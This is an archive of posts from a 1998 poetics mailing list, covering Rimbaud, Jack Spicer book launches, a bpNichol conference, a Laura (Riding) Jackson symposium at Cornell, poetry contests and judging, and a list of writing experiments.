PROGRAMS (Anchor/Doubleday, 1987). An anthology and documentation of 'Outsider' poetry from the 1950's to the present day, THE OUTLAW BIBLE OF AMERICAN POETRY, which he has done with S.A. Griffin, is in press. It will be available from Thunder's Mouth in April 1999. Kaufman's poems have been translated into Swedish by Carl Johaan Valgren and have appeared in Sweden in _Bonniers Litterra Magasin_ and _Pequod_. His work has also been translated into German and has appeared in SLAM! POETRY, HEFTIGE DICTUNG AUS DEN USA and AM LIT: NEU LITERATUR AUS DEN USA, both of which were published by Druckhaus Galrev (Berlin), and _Chelsea Hotel: A Magazine Of The Arts_ (Frankfurt). He has performed his work in Germany, too, by invitation at Literaturhaus Hamburg, Literaturhaus Frankfurt, and Literaturwerkstatt Berlin, among other places. In the U.S. Kaufman's work has been published in many print anthologies and magazines, including ALOUD: VOICES FROM THE NUYORICAN POETS CAFE (Henry Holt) and COFFEEHOUSE POETRY ANTHOLOGY (Bottom Dog Press); _Witness_, _Tikkun_, and _Long Shot_. On-line his poems and essays can be found in _Salon_, _ZuZu's Petals_, _Poetry Cafe_, et cetera.

* * * * * * * * * * * * * *

William Slaughter, Editor

[redacted]

↑ Index

104. **michael corbin**

Re: Reference -- Augustine?

Sun 4 Oct 1998

Mark Weiss wrote:

> *Yup, but as used in this country--usualy misused--it comes from Winthrop's sermon on the Arabella in 1630 before the first wave of Puritans hit the shore (they had sent out a couple of ships in '28 and '29, but the Arabella flotilla was the main group--a thousand settlers). Usually referred to as if Winthrop had been saying that the Puritan commonwealth and its capitol, Boston, would be the New Jerusalem, but in fact (as is perfectly and uncontestedly clear in the text) he was issuing a warning: we're gonna be like up on a hill where everybody can see us if we fuck up. The misinterpretation, which goes back at least 150 years, speaks volumes.*

Therefore lett us choose life,
that wee, and our Seede,
may live; by obeyeing his
voyce, and cleaveing to him,

for hee is our life, and
our prosperity.

Winthrop's text was Matthew 5:14.

Bradford's _Of Plymouth Plantation_ a contemporaneous text sans pax americus mythopoetics is necessary next to Winthrop's "Model of Christian Charity." Although ron reagan's son has produced a pre-death eulogy with 'city on the hill' titling.

mc

↑ Index

105. **david bromige**
rimbaud & the vowels
Sun 4 Oct 1998

Now hold hard there, Gancieville! A J Sondheim writes "as if". I can't hear his "I'm Arthur Rimbaud" as a self-aggrandizement, but rather as the answer to the question "How do I know?" I take AJS's poetic point to be, that what's outrageous about Rimbaud's "Voyelles" IS just this, that the fr poet is asserting himself as the ground of his k-edge--of the vowels as of, potentially, everything. David

↑ Index

106. **Lawrence Upton.**
Re: Robert Lax's address
Mon 5 Oct 1998

-----Original Message-----
From: Ward Tietz <[redacted]>
Date: 04 October 1998 14:50
Subject: Robert Lax's address

|As far as I know Robert Lax still lives on the Greek island of Patmos. We |performed his Black/White Oratorio last year in Geneva with the assistance |of John Beer who was helping Lax prepare his papers for an archive that's |been recently established at the Friedsam Library at St. Bonaventure |University in N.Y. You might try them for an exact address.

Patmos isn't a big place. I am pretty sure Robert Lax, Patmos, Greece would find him.

L

↑ Index

107. **dbkk**
San Francisco Spicer celebrations
Mon 5 Oct 1998

Hi everyone, this is Kevin Killian. To launch our books "Poet Be Like God: Jack Spicer and the San Francisco Renaissance," and "The House that Jack Built" (Jack Spicer's collected lectures), Lew Ellingham, Peter Gizzi and I are having a double event in San Francisco. This Tuesday October 6 City Lights Books is having a book party for us (7:00 p.m.) . . . 261 Columbus Avenue at Jack Kerouac Alley.

On Friday November 6 there will be a more elaborate affair in which many who knew and worked with Jack Spicer, and who now find themselves "characters" in our biography, will meet and read one poem apiece by Spicer. This event will be held at Yerba Buena Center for the Arts, 701 Mission Street at Third Street in San Francisco; it's co-sponsored by Yerba Buena Center for the Arts' "In Conversation Series" in conjunction with their forthcoming exhibit "Ecotopia," and by Small Press Traffic, part of its year-long examination of the "New American Poetry" anthology. That's at 7:30, seating extremely limited, call (415) 978-ARTS (Yerba Buena Center Box Office) for more information--or watch this space.

So if you're in town on either of these nights, come on by and give me the secret poetics list handshake . . . Thanks, Kevin K.

↑ Index

108. **Billy Little**
Re: my brief absence
Mon 5 Oct 1998

If i didn't live on an island without a liquor store, i'd have drunk myself to death after that bp conference in Vancouver last weekend. It's a shame that panel was the only one each of us attended but i think what Frank Davey was trying to say was that he was sorry that all of the recent focus(since bp died, 10 years) has been on the life long poem, the martyrology, which lent itself to study when the radical, the empheral, the enactment, were the even more important contributions to the discourse and to us individually holding the door open for us as he did so many doors at once, and tho i love the martyrology , i can't help but sympathize with frank and daphne marlatt tried to tie the martyrology into her own autobiographical work and family history, and fred wah wasn't he saying he was more interested in being bp than anal eyezing him. I was happy to see Ellie there she was looking fine fine as wine. George Bowering, I hope John Cretin has the sense to appoint him to the senate, or lieutenant governor, he should have his own television show, nobody'd listen to Gsowski zzzzzzzzz. I must

confess, the architecture there creeps me out, it was tomblike, and you got beer in a little room that looked like the basement of the police station where they took your picture. It was like all these brains were still playing in the garage forty years later. There were some excellent readings, lillian allen was excellent, she told a story about the jury at the canada council which bp happened to be part of voting not to accept dub poetry for the poetry grants program and bp threatened to go to the newspapers so they changed their wicked ways and opened the door for lillian allen and clifton joseph, dub poets, i almost went home before Genn Lam? the twenty year old 6 foot asian canadian poet, wow, glad i stayed. vagina both lillian allen and genn lam began their performances with the same word vagina. sharon thesen and marja hindmarch agreed it was in reference to bp's book of the body, organ music. Asok Mathur with his wacky poem of Ganesh born? in Calgary being interrogated by the gumshoe was another treat. AnneMarie Harte Baker cybergranny she should have a teevee show of her own i've seen her for years but i never saw the charisma she has in performance, claiming coyote back for the red? indians. the focus group, sort of like a well behaved happening, they were cool, hipsters, kerouac and bp would have dug them, i did. Clint Burnham was as good as ever, where was Lisa Robertson? where was Paul Dutton, or Rafael Barreta-rivera. Jeff Derksen tried on Frank O'Hara and it was good, McCaffery was very good, Judith Copithorne was right the geezers r us, she was the only spontaneous performer who got the audience to make a poem of themselves, Gerry Gilbert, Vancouver's Dante, was in fine form and appropriately the ultimate reader of the night. By and large i'll remember this conference as a shabby affair, you can't call for papers two months before the event, there should have been more of an attempt to get the audience together, some food event or availability, some beverages, some art show or dance, there was little promotion, they were saving the posters to sell for souvenirs, no touch of Karen and Brian de Beck in this affair, no attention or care for the details that Charles Watts might have provided, only Renee Rodin mentioned Charles, dedicating a poem to him, what Frank was saying is more true here, but the martyrology is pretty radical as far as american poetry goes, canadian poetry has had the advantage of the influence and efforts of bp for thirty years it doesn't seem as radical to us, in canada the streets are paved with poetry, there's a poet behind every chainsaw, every twelve guage, bp split the nucleus of lingo, gave those phonemes more independence, graphemes, where was lionel kearns, where was victor coleman, where was bill smith, this conference could have gone on for a week, why was there no video of the proceedings(at least the readings) they didn't expect much they got more than they expected but it still wasn't enough, it felt ghoulish more important in the resume than on the stage, like an academic mining claim, sadly. Margaret Atwood probably didn't even know about it, she might have come. Speaking of great

canadian poets, Joni Mitchell has a new album out, they're not playing it much here yet, anybody in cincinnati hearing it, anybody in atlanta?

billy little
4 song st.
nowhere, b.c. V0R1Z0

Go ahead and say something true
before the big turd eats You
You can say any last thing in Your poem.

-Alice Notley

↑ Index

109. Rachel Levitsky
Re: my brief absence
Mon 5 Oct 1998

Billy,

Is Joni coming to Canada on the current tour? I'm going to Mad. Sq. Garden for the first time since 10th grade to watch her be a speck of light a mile downslope. Also, an article on her in this sunday's nytimes ragazine. Hightlights her antifeminism, I think unfairly, and asserts some sort of unmanagable and insecure egotism on her behalf. Poopoo to the writer, she is the genius she says she is.

--R Democracy

↑ Index

110. miekal and
Re: my brief absence
Mon 5 Oct 1998

---

thnks
billy
for the
unreveiling
of the bp affair
took me
there
inside of it
but seems
to me that
the longpoem

is a typewriter
in the world of computers,
the soundbyte winning
over the epic ear
singing the
chantspeech

& even if martyrology is on
the shelf next A & Cantos
& maximus we have forgotten
how to use them

unless maybe Ted Nelson's
notion of xanadu be the quick fix
longterm

miekal
[hypermedia works by Miekal And, Liaizon Wakest, Lyx Ish & Allegra Fi Wakest]
-Qazingulaza-
<http://net22.com/qazingulaza/index.html>

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111. Fred Muratori
Laura (Riding) Jackson Event at Cornell
Mon 5 Oct 1998

> *I'll be at the Laura (Riding) Jackson conference in Ithaca this week, staying at the Hillside Inn (and still wondering where the events are!);*
> *best, Susan Schultz*
>
> *U of Hawai`i*

To Susan, Louis Stroffolino and other listees attending the Laura (Riding) Jackson symposium at Cornell later this week --

The first event is the exhibition opening and reception on Thursday at 4:45, 2B Kroch Library, an underground architectural wonder which you enter from my very own place of employment, Olin Library, "the one that looks like a giant IBM card." I'm reposting below the draft schedule Charles Bernstein provided to this list a while back; so far I have seen nothing more detailed. If you can find your way to the Library you'll be where you need to be. Hillside Inn is just off campus, but be prepared to walk uphill quite a bit.

Oh, and if you see a thin, fortysomething, harried-looking guy at the Olin Reference Desk behind a nameplate that reads "Fred Muratori," please say hello. If

nothing else, I can tell you where the bathrooms are, as well as suggest places to eat.

-- Fred M.

***** DRAFT PROGRAM***

Laura (Riding) Jackson and the Promise of Language:
A Symposium and Exhibition
(all program events take place in Conference Room, 2B Kroch Library, unless otherwise indicated)

Pre-Symposium Activities: An Introduction to L(R)J (Roger Gilbert and Jennifer Ashton, Department of English, Cornell University (dates and times to be determined, possibly in cooperation with Alan Clark on Thursday, October 8, 1998 at 9:00 a.m.)

Thursday, October 8, 1998

10:45 a.m. Welcoming Remarks: Alan Clark, H. Thomas Hickerson

11:00-12:30 Reading Laura (Riding) Jackson Chair: Jennifer Ashton
Carla Billitteri "Fables of Meaning: History and Storytelling in Laura Riding's Short Fiction"

Chris Stroffolino "[Prose including the Word Woman, The Telling, Four Unposted Letters to Catherine, Contemporaries and Snobs, etc.]

Susan Schultz [L(R)J's fiction]

12:30- 2:00 Lunch break (on your own)

2:00 - 3:30 "Truth Begins where Poetry Ends" Chair: Jerome McGann Olin 106 Steven Meyer "An Ill-Matched Correspondence: Laura (Riding) Jacksonís Gertrude Stein -- Figure of SPEECH, Figure of WRITING, Figure of POETRY Mark Jacobs "Knowing Everything: An Introduction to Laura (Riding) Jackson Alan Clark "LRJ: The Telling and Before"

3:30-4:00 Coffee Break Olin 106

Kroch Library Exhibition Gallery 4:00 Introduction to the Exhibition and Tour: Margaret Nichols 4:30 Welcoming remarks: Sarah Thomas, Theodore Wilentz 4:45 Opening Reception

6:30 or 7:00 Dinner for L(R)J panels and Board members

Friday, October 9, 1998

9:00 - 10:00 Elizabeth Friedmann "Laura Riding and Laura (Riding) Jackson: The One Story" (introduced by Joan Wilentz)

10:00-10:30 Coffee break

10:30 - Noon Researching Laura (Riding) Jackson Chair: Lorna Knight
Patrizia Sione: "The Laura (Riding) Jackson and Schuyler B.
Jackson Papers"

Nick Everett: "The G.S. Fraser - Laura (Riding) Jackson correspondence"

Amber Vogel: "The Breath of Letters: Poetry and Poetics in
Laura (Riding) Jackson's Correspondence"

Noon - 1:30 Lunch Break (on your own)

1:30 - 3:00 Panel: That Being Be Well Spoken Chair: William Harmon
Lisa Samuels "Imagining What you Don't Know:
Anarchism is Not Enough"

John Nolan "That Being Be Well Spoken: The Telling and after" Barrett Watten "Laura Riding's Horizon Shifts"

3:00 - 3:30 Coffee break

3:30 - 4:30 Publishing Laura (Riding) Jackson Chair: Theodore Wilentz
Alfredo di Palchi "How By Chance I Discovered Laura (Riding)
Jackson"

Dan Mandel [literary agency and the works of L(R)J]

Michael Braziller "Publishing Laura (Riding) Jackson

4:30 - 5:00 Concluding Remarks: Laura (Riding) Jackson and the Promise of Language: Speaker: Charles Bernstein

Dinner Break

8:15 p.m Laura (Riding) Jackson and Friends: An Evening of
Readings and Reminiscences"
Host: James Tyler

Including:
Peggy Friedmann [Laura (Riding) Jackson in her own voice - excerpts from
recordings)
Robert Nye [reading]
Richard Foerster, poet and editor, Chelsea
David Lehman [reading]
Jay Ansill [L(R)J to music]

James Tyler on printing L(R)J
Members of the Laura (Riding) Jackson Home Preservation Foundation [video presentation]

****

Fred Muratori
([redacted])
Reference Services Division
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html
****

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112. Fred Muratori
Laura (Riding) Jackson Event at Cornell - Emendation
Mon 5 Oct 1998

Oops. If I'd read the schedule more closely I would have noticed that there are indeed many things happening before the 4:45 reception. My apologies. -- Fred

****

Fred Muratori
([redacted])
Reference Services Division
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html
****

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113. jesse glass
Re: another course request
Mon 5 Oct 1998

Dear Charles Alexander:

Gosh, I hope you still remember me. I'm still in Fukuoka, am happily married--with a new addition--Delmore Yoichi--just tured one. I wanted to see if you might be interested in a manuscript of Cid Corman's--he has lots of his own work, of course (New Directions will be coming out with a selected in 2000. (2000! Incredible: I thought we'd all be flying in personal space ships by now)--

but he has one very interesting manuscript--his translations of the Japanese poet Santoka--that's needs the kind of home CHAX Press could provide.

I've also collaborated--with Cid, and other Japanese associates-- on a small collection of translations of the poet Yoichi Kawamura--a personal friend, and an important contemporary poet. Sam Hamil--a friend of Yoichi's--may be interesting in helping out on this one.

Finally--quite a while ago I'd mentioned a project based on the SATOR/AREPO/TENET/OPERA/ROTAS magic square; Song for Arepo. Part of it--but actually only an early--and unfortunately a dammaged--part--is in the archives of Grist. This one I'd be interested in asking you to print anyway, even if you wouldn't be interested in it for CHAX. And of course, I have the definitive MAN's WOWS. I still thank you for that wonderful little book that you did so many--too many--years ago.

If none of this interests you, no problem. It's just good to be in touch. I hope all's well with your wife's health, and your own life. Take it easy, Jesse Glass.

Any way, I hope this finds
-----Original Message-----
From: Charles Alexander <[redacted]>
To: [redacted] <[redacted]>
Date: Wednesday, September 30, 1998 10:08 AM
Subject: Re: another course request

> *At 09:58 AM 9/30/98 -0500, you wrote:*
> *Prose is indefensible. But seriously, I think Sidney and Shelley were defending not poetry as a genre, or "verse," but poesie in a larger sense; their defenses (or apologies) apply beyond what we think of as "poetry" today.*
>
> *as does Aristotle*
>
> *on a more recent note, in 1996 Burning Deck published Paul Auster's book, *Why Write?* which collects seven pieces which might be thought of as Auster's "defense."*
>
> *charles*
>
> *charles alexander :: poet and book artist :: [redacted]*
> *chax press :: alexander writing/design/publishing*
> *books by artists' hands :: web sites built with care and vision*
> *http://alexwritdespub.com/chax :: http://alexwritdespub.com*

↑ Index

114. R.Gancie/C.Parcelli
Re: rimbaud & the vowels
Mon 5 Oct 1998

First, David, this is the Carlo Parcelli equation of the listing.
Second, of course you are right as far as interpretation dictates right
and wrong but the point I wanted to make was larger. At one moment we're
talking about the gains and inevitable losses of the poetry game vis a
vis grants, prizes and other such bullshit and the next minute Allan has
thrown on his little red riding hood cloak and offered a very well
hammered, oft revised, not spontaneous or off the cuff poem as an escape
hatch. I was left holding on to a scrap of A.'s lapel and I ran with
that. I don't want to critique in detail A.'s offering. Frankly, I liked
it. But Jenn/N. was in it and that had to become my hook to keep the
argument in line. Otherwise the tangents will wear your ass out. I wrote
all that shit on Saturday in my book store which was packed all day.I
had worked alone twelve hours on Friday and did another 13 hours alone
on Saturday. Close exegesis is not possible under those circumstances.
But gross considerations like grants and prizes are. Personally, I don't
like people who run and I really don't like it in poets. A. was clearly
hiding in his poem and I, having committed my time, felt compelled to
draw him out. 'Scuse me now I'm gonna go earn a buck.---Carlo
Parcelli David bromige wrote:
>
> Now hold hard there, Gancieville! A J Sondheim writes "as if". I
> can't hear his "I'm Arthur Rimbaud" as a self-aggrandizement, but rather as
> the answer to the question "How do I know?" I take AJS's poetic point to
> be, that what's outrageous about Rimbaud's "Voyelles" IS just this, that
> the fr poet is asserting himself as the ground of his k-edge--of the vowels
> as of, potentially, everything. David

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115. Jerry McGuire
Re: judging
Mon 5 Oct 1998

Have been out of the loop(s) lately, trying to steer (forget "run," "manage," etc.) a yearly writing conference with a writer's contest attached. Not only the contest but the whole thing puts me in sick mind of the current discussion. Too many enfeebled folks writing shaky checks to enter their couplets and quatrains and diary notes; to sit in a workshop with a "renowned" writer they've never

heard of without even realizing they're entitled to bring a MS to be discussed; to meet agents who think such things and such people are useful only for supplying a good laugh with their pals; to catch some kind of magical spark that will turn them into Danielle Steele. Etc. By the end of the conference (judged to be a "success") I was ready to weep and moan, if in fact not publically weeping and moaning (but what is this?). And this is a "good" conference, that has a solid group of regular attendees who profess to benefit from the thing every year, who _thank_ me, and profusely, for doing this for/to them. Meanwhile, I feel like judging again and again and again: you--don't waste your money; you--don't waste your time; you--look in your heart and write; you--grow up first; you--get a real job. Who'd be left? Not me.

As to the contest, this year (for the first time) we disallowed submissions from anyone presently employed by or a student at this university. And that helped, at least it helped me with what's left of my conscience. And though I wrung my hands and sweated and cursed to find out that two of the best poets I know hadn't even made the first cut in the poetry contest (yes, I peeked, because I'm the Director, and I could), fate and the weirdnesses of readerly taste and judgment produced an interesting mix of the "known" (V. Shipley) and "unknown" (but very fine, and not at all "conventional"--Stella Brice) in that particular contest. And none of the winners were known to any of the readers before the prizes were awarded.

And yet the whole thing still felt potluckish. (And what _that_ was was a "contest" in which you submitted not your work but just your name, and they'd draw the winners out of a hat [or a pot?] and then select some of your work to publish out of a stipulated number of poems sent. And I thought it was a witty comment on contests generally, and it certainly doesn't hurt anyone or anything: if it winds up publishing someone undeserving, what doesn't? At least they'll be a different bunch of undeservers.) I didn't read all the poetry submissions (or drama or novel or fiction submissions), but I'm sure there were as many good ones chopped out as left in, and I have little confidence that repeating the process would result in _any_ of the winners or runners-up being selected again. Well, maybe this is all just post-conference blues: omne animal triste est post conference.

I've had one book of poems published ("over the transom," as we like to say--I like to think of jumping the transoms in the subway instead of paying), and won a few awards, all "small," (though I was largely grateful for each one). None of them ever involved anyone I knew, either by way of "invitation" or judging. Yet crookedness seems epidemic. As (I think) Eliza McGrand said, there are an awful lot of us, so some good, or at least honest, stuff does happen. The problem is to fend off the nausea while you're doing it, if for some reason you feel a need

to do it. (To write it off as simple careerism misses the point of all those teenagers and old folks who, as they say, submit.)

Anyway, from my point of view, it's a way of supporting small presses--if they'll give me a year's subscription and don't publish their next-door neighbors on a yearly basis, I'll send them fifteen bucks to read my poems. If I enter thirty contests a year, I figure that's a nice piece of change for some people who (thinking as generously as possible) _are_ deserving. And if I hit that lottery once every three or four years, I come close to breaking even. I also occasionally hit the tables at Grand Coushatta casino, in case anyone's wondering.

I'm not sure, though, that any such personal narratives are going to (as I'd hoped when I started) add any kind of helpful context to this conversation. This list always strains along the fault lines in poetry, sometimes strains till it bursts, and to claim that one has had a few barely tolerable experiences with contests, grants, etc., may be so much a signal that one has simply whored himself out to the enemy that the experiences invalidate themselves. This is one problem with having enemies who are in important ways your friends.

Jerry

↑ Index

116. David W. Clippinger

Re: New American Poetry reissue

Mon 5 Oct 1998

From a recent letter from Don Allen, he tells me that California is re-issuing the original Grove edition sometime this year.

All best,
David Clippinger

At 11:38 AM 10/5/98 -0400, you wrote:
>Is there a reissue of Donald Allen's _The New American Poetry_ planned? I
>don't mean the revised version called _The Postmoderns_; I mean the original
>1960 book? I thought I heard of such a thing (perhaps from California).
>Can anybody give me information (release date etc.)? Thanks.
>~~~

David Clippinger
Assistant Professor of English
Penn State University
100 University Drive
Monaca, PA 15061
[redacted] (phone)
[redacted] (fax)

+ + + + + + + + + + + + + + + + + +

One must not come to feel that he has a thousand threads in his hands,
He must somehow see the one thing;
This is the level of art
There are other levels
But there is no other level of art

George Oppen, from "Of Being Numerous"

+ + + + + + + + + + + + + + + + + +

↑ Index

117. David Kellogg
New American Poetry reissue
Mon 5 Oct 1998

Is there a reissue of Donald Allen's _The New American Poetry_ planned? I don't mean the revised version called _The Postmoderns_; I mean the original 1960 book? I thought I heard of such a thing (perhaps from California). Can anybody give me information (release date etc.)? Thanks.
~~~
~~~

---now, I wonder if they were reading newts to a supine fiction
when they made this up.....
chris

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119. **r.drake**

A. V. TEXT-FEST #2 Invitation

Mon 5 Oct 1998

---

http://www.angelfire.com/tx/AVTEXTFEST...

> *Date: Thu, 24 Sep 1998 14:48:48 -0700 (PDT)*
> *From: Carlos Adolfo "GutiÈrrez" Vidal <[redacted]>*
> *Subject: A. V. TEXT-FEST #2 Invitation*
>
> ****

Envia tus trabajos a:

Alejandro Espinoza Galindo / Bibiana Padilla Maltos
233 Paulin Avenue
P. O. Box 7263
92231 Calexico, CA
USA
[redacted]

Carlos Adolfo Gutierrez Vidal
Mariano Arista 1443
Colonia Nueva
21100 Mexicali, B. C.
Mexico
[redacted]

Fecha limite para la recepcion de trabajos:

Noviembre de 1998

[redacted]

http://www.angelfire.com/tx/AVTEXTFEST

****

A. V. TEXT FEST es un ambicioso proyecto de promocion e investigacion de las formas mas vanguardistas de la literatura contemporanea. Fue creado en 1997 como una respuesta a la intensa campa~a de promocion de la ciudad de Mexicali como un polo de desarrollo industrial.

Creemos que lo que identifica a una sociedad con respecto a otra no es su modo de produccion, sino aquello que guarda para el futuro. Asi que mientras unos empresarios deciden restaurar edificios historicos y reciclar viejas naves industriales, y mientras las familias de pioneros atesoran fotografias y objetos de uso diario; nosotros hemos preferido recopilar algo que pocas ciudades se han atrevido a tomar en cuenta: teoria literaria reciente y ejemplos de las propuestas de escritura mas novedosas.

El proyecto A. V. TEXT-FEST consta de varias etapas:

1.- Una convocatoria anual dirigida a aquellos escritores interesados en donar y exhibir su obra.

2.- Realizacion de un festival en enero de cada a~o a partir de 1998.

3.- Publicacion de una memoria anual.

4.- Configuracion de un archivo que pueda servir para exposiciones itinerantes, eventos especiales y trabajos de investigacion.

5.- Difusion de los materiales a traves de la internet.

6.- Formacion de un publico especializado en la materia debido a la exposicion directa a las obras y a textos teoricos.

7.- Promocion de las nuevas formas y tendencias literarias entre los creadores locales.

8.- Consolidacion del archivo y proyeccion de Mexicali como capital cultural y una plaza de primer nivel para la literatura de vanguardia.

En pocas palabras, nuestra meta a largo plazo es cambiar el perfil cultural de la ciudad.

El proyecto A. V. TEXT-FEST ha venido operando desde 1997, cuando lanzamos nuestra primera convocatoria. El primer festival se llevo a cabo los dias 21, 22 y 23 de enero de 1998, y los fondos recabados durante la fiesta rave de clausura se donaron a Coesida en apoyo a su programa de compra de medicamentos. Una seleccion de los ensayos recibidos se encuentra disponible en la WWW desde marzo de este a~o.

****

Relacion de los participantes en el primer festival:

Jake Berry
Jose Luis Campos
Juan Antonio Di Bella

Sheila Dollente
Alejandro Espinoza Galindo
Carlos Adolfo Gutierrez Vidal
Eduardo Kac
Philadelpho Menezes
Douglas Nufer
Bibiana Padilla Maltos
Harry Polkinhorn
Producciones la Tierra de la Iguana
Doug Rice
Clemente Padin
Nico Vassilakis
Don Webb
Dj Chance
Dj Yahoo
Dj GTEK-7
Dj Itzae
Dj Tolo

****

Material que puede consultarse en nuestro archivo en la WWW:

Jake Berry
CYGNUS WOUND

Eduardo Kac
HOLOPOESIA Y MAS ALLA

Philadelpho Menezes
POESIA INTERSIGNO

Douglas Nufer
RESPALDA AL MUNDO

Harry Polkinhorn
POESIA VISUAL EN LATINOAMERICA

Clemente Padin
ï LA IDENTIDAD DE LA POESIA EXPERIMENTAL
ï LA POESIA EXPERIMENTAL EN AMERICA LATINA

Don Webb
ACERCA DE LA ESCRITURA

> *http://www.angelfire.com/tx/AVTEXTFEST*

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120. Billy Little
Re: Judging
Mon 5 Oct 1998

---

and garry here i thought you were just trying to get a list of the good ones to suck up to.

billy little
4 song st.
nowhere, b.c. V0R1Z0

Go ahead and say something true
before the big turd eats You
You can say any last thing in Your poem.

-Alice Notley

↑ Index

121. R.Gancie/C.Parcelli
Re: Rimbaud's Voyelles
Mon 5 Oct 1998

Billy Little wrote:
>
> takes one to no one
>
> billy little
> 4 song st.
> nowhere, b.c. V0R1Z0
>
> Go ahead and say something true
> before the big turd eats You
> You can say any last thing in Your poem.
>
> -Alice Notley
What, Herr Kindergartner?

↑ Index

122. james perez
DC area listers
Mon 5 Oct 1998

---

someone brought up the Zorn collaboration, so this isn't too off the poetics subject I suppose...

two free concerts coming up at the library of congress:

> Cecil Taylor
> February 12th 1999
>
> John Zorn's Masada String Trio
> April 9th 1999

I don't know when the "free tickets" will be available for pick up, but I'm sure they'll all go like the A.Braxton tickets earlier this year (missed it and am still a little bitter).

jperez

_____
Get Your Private, Free Email at http://www.hotmail.com

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123. Gary Sullivan
A nation of nothing but poetry ...
Mon 5 Oct 1998

EXTENDED PLAY

"warped by concern"

A nation of nothing but poetry academics.
A nation of nothing but poetry adjuncts.
A nation of nothing but poetry administrators.
A nation of nothing but poetry anthologies.
A nation of nothing but poetry applicants.
A nation of nothing but poetry awards.

A nation of nothing but poetry bibliographers.
A nation of nothing but poetry biographies.
A nation of nothing but poetry blurbs.

A nation of nothing but poetry careers.
A nation of nothing but poetry cartoons.
A nation of nothing but poetry celebrations.
A nation of nothing but poetry clips.
A nation of nothing but poetry conferences.

A nation of nothing but poetry contests.
A nation of nothing but poetry critics.

A nation of nothing but poetry deadlines.
A nation of nothing but poetry discourse.
A nation of nothing but poetry disbursements.

A nation of nothing but poetry editors.
A nation of nothing but poetry educators.
A nation of nothing but poetry endorsements.
A nation of nothing but poetry essays.

A nation of nothing but poetry faculty.
A nation of nothing but poetry fees.
A nation of nothing but poetry fellowships.

A nation of nothing but poetry gossip.
A nation of nothing but poetry grants.

A nation of nothing but poetry hatchet jobs.
A nation of nothing but poetry hustling.

A nation of nothing but poetry imbroglio.
A nation of nothing but poetry in-the-schools.

A nation of nothing but poetry jobs.
A nation of nothing but poetry jockeying.
A nation of nothing but poetry judges.

A nation of nothing but poetry kudos.

A nation of nothing but poetry lineage.
A nation of nothing but poetry listserves.

A nation of nothing but poetry magazines.
A nation of nothing but poetry mentors.

A nation of nothing but poetry nationalists.
A nation of nothing but poetry networks.
A nation of nothing but poetry non-profits.

A nation of nothing but poetry pals.
A nation of nothing but poetry panels.
A nation of nothing but poetry papers.
A nation of nothing but poetry pontificating.
A nation of nothing but poetry professors.
A nation of nothing but poetry publicity.
A nation of nothing but poetry publishers.

A nation of nothing but poetry qualifications.
A nation of nothing but poetry questionnaires.

A nation of nothing but poetry reputations.
A nation of nothing but poetry reviews.

A nation of nothing but poetry slams.
A nation of nothing but poetry stars.
A nation of nothing but poetry students.

A nation of nothing but poetry therapists.
A nation of nothing but poetry translators.

A nation of nothing but poetry use value.

A nation of nothing but poetry vendettas.

A nation of nothing but poetry wars.
A nation of nothing but poetry workshops.

A nation of nothing but poetry x-men.

A nation of nothing but poetry yeomen.

A nation of nothing but poetry zealots.

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124. Pierre Joris
Re: San Francisco Spicer celebrations
Mon 5 Oct 1998

[redacted] wrote:

> *Hi everyone, this is Kevin Killian. To launch our books "Poet Be Like God: Jack Spicer and the San Francisco Renaissance," and "The House that Jack Built" (Jack Spicer's collected lectures), Lew Ellingham, Peter Gizzi and I are having a double event in San Francisco. --*

Kevin -- sorry to have to miss the event! These two books brightened my summer considerably. You -- & others on the list -- may enjoy the addition -- as of this morning -- to the Eric Mottram website: I put up an audiofile (RealAudio) of Mottram reading his "Elegy for Jack Spicer." And slide your cursor over the pix on the EM home&away page. http://www.albany.edu/mottram

& my favorite lines from poems read this morning:

Chris Stroffolino (from "Over and Over" in _Downtown Brooklyn_ #7):

"....If there were no sex / before marriage, we'd be married before we're born."

Pierre
==========

Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
All that is not gas is grammar
— Wittgenstein
==========

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125. Elizabeth Treadwell

Laura (R) Jackson

Mon 5 Oct 1998

Dear Susan, if you have time/inclination could you please post a report on the Laura (Riding) Jackson conference.....
thanks
Elizabeth

> *Date: Sun, 4 Oct 1998 19:19:51 EDT*
> *From: Susan Schultz <[redacted]>*
> *Subject: Re: east coast travels*
>
> *I'll be at the Laura (Riding) Jackson conference in Ithaca this week, staying at the Hillside Inn (and still wondering where the events are!); then I'll be in NYC on October 10 to join the book party for _Close Listening: Poetry and the Performed Word_, edited by Charles Bernstein. The event, as I gather, will be at Double Happiness, 173 Mott Street, just south of Broome, from 4-6 pm. I trust someone will get me a map...*
> *Hope to see some listees in these places, as well as touches of autumn.*
> *I'll be the one with the mostest jetlag, I trust.*
>
> *best, Susan Schultz*
> *U of Hawai`i*

Outlet, a periodical
Double Lucy Books
P.O. Box 9013
Berkeley, California 94709
U.S.A.
http://users.lanminds.com/~dblelucy

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126. schuchat
Romania maybe
Mon 5 Oct 1998

I think that Romania has its own rare beauty, and while you could know all of what the "100" "best" "Romanian" "poets" have to offer and thus have a poetically albeit Romanianly full life, not knowing Finnish would leave you bereft of everything that is Finnish and not Romanian.

what was Pound's remark about the tribe? language is one of the things that distinguishes tribes from each other.

I don't think there could have been a Borges in Spanish without Borges' love for late Victorian English. other examples are endless.

↑ Index

127. MAYHEW
The next ten writing experiments (please shoot me when you want me to stop)
Mon 5 Oct 1998

21. Practice thinking in complete sentences. Do not write these down.

22. Be a Platonic "name-giver" of the type described in the _Cratylus_. Work at giving things their exact or "proper" names. Then practice with "misnomers."

23. See if Wittgenstein was right: try to invent a "private language" for your sensations.

24. Adopt a variety of social "identities" in your writing (race, ethnicity, class, sexual identity). However, avoid any explicit "identifying" reference in the poem itself (e.g. don't use the word "barrio" in your chicano poems).

25. Invent a private slang (a la Lester Young); attempt to get as many people as you can to use the words you coin. Don't use these words in your writing; rather, conceive of the invention of this language as an independent poetic activity.

26. Write "vocalese lyrics" to a recorded jazz solo.

27. Practice speaking in blank verse as "naturally" as possible.

28. Create your own avant-garde movement; make sure you officially dissolve the movement after 6 months or a year.

29. Invent an imaginary city, complete with geography, history, architecture, prominent citizens, etc... Keep a sort of "bible" of all the information you compile. Then write poems set in this city.

30. Write nothing but sestinas and pantoums for a month. Then "cannibilize" them, using the best lines to write other poems.

Jonathan Mayhew

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128. Poetry Project
Re: money for poets
